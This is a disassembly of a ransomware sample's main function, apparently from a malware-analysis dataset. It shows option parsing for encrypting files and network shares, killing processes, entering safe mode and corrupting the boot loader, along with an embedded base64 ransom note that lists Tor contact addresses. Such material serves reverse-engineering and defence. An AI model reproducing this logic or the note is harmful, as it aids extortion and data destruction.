Function at 0x4076d0
Capabilities:
Accept command line arguments
Create thread
Decode data using base64 via winapi
Empty the recycle bin
Enumerate processes
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
movlpd qword [ebp - 0x28], xmm0
push eax
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x40776b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x24], eax
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x12c]
push eax
push str.____Error_while_parsing_arguments:__s
call fcn.00401330
add esp, 8
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x2c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push edi
cmp ebx, 1
jg 0x407780
xor al, al
jmp 0x4077a1
mov edi, 1
push str.__verbose
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40779f
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407785
xor al, al
jmp 0x4077a1
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33c], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4077b8
xor al, al
jmp 0x4077dc
mov edi, 1
nop dword [eax]
push str.__stop_processes
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4077da
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4077c0
xor al, al
jmp 0x4077dc
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a338], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4077f3
xor al, al
jmp 0x40781c
mov edi, 1
nop dword [eax + eax]
push str.__encrypt_network
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40781a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407800
xor al, al
jmp 0x40781c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a339], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407833
xor al, al
jmp 0x40785c
mov edi, 1
nop dword [eax + eax]
push str.__load_drives
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40785a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407840
xor al, al
jmp 0x40785c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33b], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407873
xor al, al
jmp 0x40789c
mov edi, 1
nop dword [eax + eax]
push str.__silent
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40789a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407880
xor al, al
jmp 0x40789c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33a], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jle 0x40792c
mov edi, 1
lea eax, [eax + edi*4]
inc edi
push str.__mode
push dword [eax]
mov dword [ebp - 0x260], eax
call esi
test eax, eax
je 0x4078d4
cmp edi, ebx
jge 0x40792c
mov eax, dword [ebp - 8]
jmp 0x4078b4
cmp edi, ebx
jge 0x40792c
mov eax, dword [ebp - 0x260]
mov eax, dword [eax + 4]
test eax, eax
je 0x40792c
movzx eax, word [eax]
add eax, 0xffffff9b
cmp eax, 0xe
ja case.0x4078f7.103
movzx eax, byte [eax + 0x408218]
jmp dword [eax*4 + 0x408204]
mov dword [0x4298b0], 0x13
jmp 0x40792c
mov dword [0x4298b0], 3
jmp 0x40792c
mov dword [0x4298b0], 0
jmp 0x40792c
mov dword [0x4298b0], 5
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x260], eax
cmp ebx, 1
jle 0x407971
mov edi, 1
lea eax, [eax + edi*4]
inc edi
push str.__file
push dword [eax]
mov dword [ebp - 8], eax
call esi
test eax, eax
je 0x407962
cmp edi, ebx
jge 0x407971
mov eax, dword [ebp - 0x260]
jmp 0x407942
cmp edi, ebx
jge 0x407971
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jmp 0x407978
mov dword [ebp - 8], 0
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x260], eax
cmp ebx, 1
jle 0x4079c2
mov edi, 1
nop
lea eax, [eax + edi*4]
inc edi
push str.__dir
push dword [eax]
mov dword [ebp - 0x25c], eax
call esi
test eax, eax
je 0x4079b3
cmp edi, ebx
jge 0x4079c2
mov eax, dword [ebp - 0x260]
jmp 0x407990
cmp edi, ebx
jge 0x4079c2
mov edi, dword [ebp - 0x25c]
mov edi, dword [edi + 4]
jmp 0x4079c4
xor edi, edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x4079de
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00406010
add esp, 4
mov dword [ebp - 0x20], eax
jmp 0x4079e5
mov dword [ebp - 0x20], 0
test edi, edi
je 0x4079fc
lea eax, [ebp - 0x14]
mov ecx, edi
push eax
call fcn.00406010
add esp, 4
mov dword [ebp - 0x18], eax
jmp 0x407a03
mov dword [ebp - 0x18], 0
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407a18
xor al, al
jmp 0x407a3f
mov edi, 1
nop dword [eax]
push str.__help
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407a3d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407a20
xor al, al
jmp 0x407a3f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407a57
xor al, al
jmp 0x407a7f
mov edi, 1
nop dword [eax]
push str.__kill
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407a7d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407a60
xor al, al
jmp 0x407a7f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407a97
xor al, al
jmp 0x407abf
mov edi, 1
nop dword [eax]
push str.__safe_mode
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407abd
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407aa0
xor al, al
jmp 0x407abf
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407ad7
xor al, al
jmp 0x407aff
mov edi, 1
nop dword [eax]
push str.__hide_cmd
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407afd
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407ae0
xor al, al
jmp 0x407aff
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407b17
xor al, al
jmp 0x407b3f
mov edi, 1
nop dword [eax]
push str.__no_background
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407b3d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407b20
xor al, al
jmp 0x407b3f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407b57
xor al, al
jmp 0x407b7f
mov edi, 1
nop dword [eax]
push str.__no_print
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407b7d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407b60
xor al, al
jmp 0x407b7f
mov al, 1
cmp byte [ebp - 0x10], 0
mov byte [ebp - 0xb], al
je 0x407c9a
mov eax, dword [ebp - 0x28]
push dword [eax]
push str.Usage:__s__ARGUMENTS__n
call fcn.004012f0
push str.Arguments:_n
call fcn.00401330
push str._t__file__filePath___t_t_t_tEncrypt_only_specified_file_s__n
call fcn.00401330
push str._t_t__file_C:_temp.txt_n
call fcn.00401330
push str._t_t__file_C:_temp.txt_D:_temp2.txt_n
call fcn.00401330
push str._t__dir__dirPath___t_t_t_tEncrypt_only_specified_directory_ies__n
call fcn.00401330
push str._t_t__dir_C:_n
call fcn.00401330
push str._t_t__dir_C:_D:_n
call fcn.00401330
push str._t__mode__mode___t_t_t_t_tEncryption_mode_n
call fcn.00401330
push str._t_t__mode_fast__t_t_t_tEncrypt_5___from_entire_file_n
call fcn.00401330
push str._t_t__mode_medium__t_t_t_tEncrypt_15___from_entire_file__default__n
call fcn.00401330
push str._t_t__mode_slow__t_t_t_tEncrypt_25___from_entire_file_n
call fcn.00401330
push str._t_t__mode_entire__t_t_t_tEncrypt_100___from_entire_file_n
call fcn.00401330
push str._t__help__t_t_t_t_t_tPrint_this_message_n
call fcn.00401330
push str._t__verbose__t_t_t_t_tEnable_verbosity_n
call fcn.00401330
add esp, 0x40
push str._t__silent__t_t_t_t_tEnable_silent_encryption__no_extension_and_notes_will_be_added__n
call fcn.00401330
push str._t__stop_processes__t_t_t_tTry_to_stop_processes_via_RestartManager_n
call fcn.00401330
push str._t__encrypt_network__t_t_t_tEncrypt_network_shares_n
call fcn.00401330
push str._t__load_drives__t_t_t_t_tLoad_hidden_drives__will_corrupt_boot_loader__n
call fcn.00401330
push str._t__hide_cmd__t_t_t_t_tHide_console_window_n
call fcn.00401330
push str._t__no_background__t_t_t_tDont_change_background_image_n
call fcn.00401330
push str._t__no_print__t_t_t_t_tDont_print_note_on_printers_n
call fcn.00401330
push str._t__kill__t_t_t_t_t_tKill_processes_services_n
call fcn.00401330
push str._t__safe_mode__t_t_t_t_tEnter_safe_mode_n
call fcn.00401330
add esp, 0x24
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
cmp byte [0x42a33c], 0
je 0x407d40
push str.Settings:_n
call fcn.00401330
cmp byte [0x42a33a], 0
mov esi, 0x4251e0
mov eax, esi
mov edi, 0x4251e4
cmove eax, edi
push eax
push 0x4251e8
call fcn.004012f0
cmp byte [0x42a338], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Try_to_stop_processes_via_RestartManager_n
call fcn.004012f0
cmp byte [0x42a339], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Encrypt_network_shares_n
call fcn.004012f0
cmp byte [0x42a33b], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Load_hidden_drives_n
call fcn.004012f0
cmp byte [ebp - 0xf], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Kill_processes_and_services_n
call fcn.004012f0
cmp byte [ebp - 0xe], 0
cmove esi, edi
push esi
push str._t__s__Enter_safe_mode_n_n
call fcn.004012f0
add esp, 0x34
cmp byte [ebp - 0xf], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x407e29
cmp byte [0x42a33c], 0
je 0x407d66
push str.___Killing_processes..._n
call fcn.00401330
add esp, 4
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x258], 0x22c
lea eax, [ebp - 0x258]
mov dword [ebp - 0x25c], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, 0x424c44
nop word [eax + eax]
mov edx, dword [esi]
lea ecx, [ebp - 0x234]
call fcn.004061b0
test eax, eax
je 0x407dfa
push dword [ebp - 0x250]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x407dfa
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x407df7
cmp byte [0x42a33c], 0
je 0x407df7
push dword [ebp - 0x250]
lea eax, [ebp - 0x234]
push eax
push str.___Proccess__s_with_PID:__d_was_killed_succesffully_n
call fcn.004012f0
add esp, 0xc
push edi
call ebx
add esi, 4
cmp esi, 0x424c5c
jl 0x407da0
mov edi, dword [ebp - 0x25c]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x407d90
push edi
call ebx
call fcn.00406b60
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 8]
push 0
push 0
push eax
push 0
push 1
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
mov dword [ebp - 8], 0
call edi
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call ebx
test eax, eax
je 0x407ea1
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x407ea1
push 0
push 0
lea eax, [ebp - 8]
push eax
push esi
push 1
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call edi
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call ebx
test eax, eax
jne 0x407f03
push esi
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x42a33c], 0
mov dword [0x42a340], 0
je 0x407eef
push 0
push 0x80
lea ecx, [ebp - 0x12c]
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x12c]
push eax
push str.____Failed_to_decode_readme:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409fba
mov esp, ebp
pop ebp
ret
